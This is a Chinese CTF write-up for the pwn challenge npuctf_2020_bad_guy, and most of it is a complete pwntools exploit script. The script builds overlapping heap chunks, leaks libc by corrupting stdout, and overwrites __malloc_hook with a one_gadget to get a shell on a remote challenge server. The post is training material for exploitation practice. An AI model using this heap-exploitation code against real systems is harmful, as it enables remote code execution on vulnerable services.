npuctf_2020_bad_guy

npuctf_2020_bad_guy

查看保护
在这里插入图片描述
在这里插入图片描述
edit可以改size。
攻击思路:没有show函数,利用unstortedbin打stdout泄露出libc。接着打fd为malloc_hook - 0x23,改malloc_hook为one_gadget即可。
1.肯定是需要unstortedbin的,所以我们可以这样构造,0x10 0x10 0x60,利用chunk0改chunk1size为0x91,这样的话chunk1和chunk2就被包住 了,在改chunk1 size的时候记得先释放一下chunk3
2.释放chunk3的原因是因为分割unstortedbin的时候让unstortedbin的fd和bk刚好落在chunk3的fastbin的fd和bk上
3.利用chunk3将堆块申请到stdout这里, 改write_base和flags输出libc。
4.再利用上面很相似的手法将堆块申请到malloc_hook - 0x23这里,改成one_gadget就可以了

from pwn import *

context(arch='amd64', os='linux')#log_level='debug')

file_name = './z1r0'


elf = ELF(file_name)

def dbg():
    gdb.attach(r)

menu = '>> '

def add(index, size, content):
    r.sendlineafter(menu, '1')
    r.sendlineafter('Index :', str(index))
    r.sendlineafter('size: ', str(size))
    r.sendafter('Content:', content)

def edit(index, size, content):
    r.sendlineafter(menu, '2')
    r.sendlineafter('Index :', str(index))
    r.sendlineafter('size: ', str(size))
    r.sendafter('content: ', content)

def delete(index):
    r.sendlineafter(menu, '3')
    r.sendlineafter('Index :', str(index))

def attack():
    add(0, 0x10, 'aaaa')
    add(1, 0x10, 'aaaa')
    add(2, 0x60, 'bbbb')
    add(3, 0x10, 'ccc')

    delete(2)

    p1 = p64(0) * 3 + p64(0x91)
    edit(0, len(p1), p1)

    delete(1)

    add(4, 0x10, 'aaa')

    p2 = p64(0) * 3 + p64(0x71) + b'\xdd\x25'
    edit(4, len(p2), p2)

    add(5, 0x60, 'aaaa')

    p3 = b'a' * 3 + p64(0) * 6 + p64(0xfbad1880) + p64(0) * 3 + b'\x00'

    add(6, 0x60, p3)


    libc = ELF('./libc-2.23.so')

    libc_base = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 192 - libc.sym['_IO_2_1_stderr_']
    success('libc_base = ' + hex(libc_base))
    malloc_hook = libc_base + libc.sym['__malloc_hook']
    success('malloc_hook = ' + hex(malloc_hook))

    one = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
    one_gadget = one[3] + libc_base

    add(7, 0x60, 'aaa')

    delete(7)

    p4 = p64(0) * 3 + p64(0x71) + p64(malloc_hook - 0x23)
    edit(4, len(p4), p4)

    add(8, 0x60, 'aaa')

    p5 = b'a' * 0x13 + p64(one_gadget)
    add(9, 0x60, p5)

    r.sendlineafter(">> ", "1")
    r.sendlineafter("Index :", str(10))
    r.sendlineafter("size: ", str(0x10))

    r.interactive()

while True:
    try:
        r = remote('node4.buuoj.cn', 27229)
        attack()
        break
    except:
        r.close()
        continue
  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

z1r0.

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值